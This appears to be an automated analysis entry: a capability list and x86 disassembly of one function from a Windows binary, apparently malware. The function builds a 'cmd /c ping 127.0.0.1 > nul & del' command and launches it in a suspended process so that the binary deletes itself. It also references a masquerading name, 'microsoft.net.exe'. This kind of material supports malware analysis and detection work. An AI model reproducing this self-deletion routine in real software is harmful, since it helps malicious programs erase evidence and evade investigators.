Function at 0x10005174
Capabilities:
Create process on windows
Create process suspended
Get comspec environment variable
Query environment variable
Resume thread
Self delete
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x370
push edi
push 0x1002f074
call fcn.10003a76
add esp, 4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1002f07c
call fcn.10003a13
add esp, 4
push 0
push 0x1002f0ac
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
mov ecx, esp
mov dword [ebp - 0x364], esp
push 0x1002f0dc
call fcn.1002107b
mov dword [ebp - 0x36c], eax
call fcn.10004fb7
add esp, 4
push ecx
mov ecx, esp
mov dword [ebp - 0x368], esp
push str.microsoft.net.exe
call fcn.1002107b
mov dword [ebp - 0x370], eax
call fcn.10004fb7
add esp, 4
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000521c
xor eax, eax
jmp 0x100053aa
push 0x104
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
jne 0x10005240
xor eax, eax
jmp 0x100053aa
push 0x104
lea eax, [ebp - 0x360]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x10005262
xor eax, eax
jmp 0x100053aa
push 0x80
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.__c_ping__n_2_127.0.0.1___nul__del
lea edx, [ebp - 0x25c]
push edx
call fcn.100120d0
add esp, 8
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x25c]
push ecx
call fcn.100120e0
add esp, 8
push str.___nul
lea edx, [ebp - 0x25c]
push edx
call fcn.100120e0
add esp, 8
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x360]
push ecx
call fcn.100120e0
add esp, 8
mov dword [ebp - 0x158], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x154]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], 0
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x158], 0x44
mov dword [ebp - 0x12c], 1
mov word [ebp - 0x128], 0
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x158]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x360]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10005384
push 0x40
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xfffffffffffffff1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x100053aa
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
mov esp, ebp
pop ebp
ret